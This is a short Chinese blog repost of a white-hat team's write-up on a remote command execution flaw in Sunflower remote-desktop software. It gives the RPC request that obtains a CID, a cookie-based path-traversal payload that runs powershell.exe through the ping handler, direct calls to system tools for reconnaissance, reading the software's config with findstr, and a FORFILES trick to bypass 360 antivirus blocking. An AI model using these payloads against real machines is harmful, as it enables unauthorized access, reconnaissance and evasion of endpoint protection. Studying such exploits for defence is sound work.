特色功能：划词解析、调取同类技术资料、AI助手全网智能检索、基于推荐算法，为每一位用户量身定制专属技术资料。
无问社区-官网：http://wwlib.cn
http://www.wwlib.cn/index.php/artread/artid/9157.html
1. 获取 CID
http://ip:port/cgi-bin/rpc?action=verify-haras
2.借助 ping 命令进行拼接
修改 Cookie:CID=xxxxx
/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershe ll.exe+%20whoami
当存在防护软件时执行命令会告警failed,error 5：表示命令执行失败
我们可以先使用他的正常命令 ping 来查看命令执行漏洞是否存在
我们从上图可以得知 360 是拦截了PowerShell 调用尝试调用CMD 执行命令看看
发现CMD 调用和 PowerShell 调用都被拦截了，思路就此转换成不使用CMD 和 PowerShell
3执行命令
1.直接调用systeminfo.exe 获取操作系统信息
2.直接调用 netstat.exe 获取操作系统信息
3.直接调用tasklist.exe 来获得进程信息我们可以看到是存在 360 进程的
4.直接调用ipconfig.exe 获得IP 信息
5.直接调用arp.exe 获得内网其他IP
6.直接调用whoami.exe 查看当前权限
7.使用 findstr.exe 读取向日葵配置文件
8.使用FORFILES调用 CMD 执行任意命令bypass 360 拦截(2022-06-26)
使用FORFILES 执行 net user 成功执行
正常调用 net.exe 执行 net user 被拦截
原文始发于微信公众号（白帽子社区团队）：向日葵RCEbypass
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论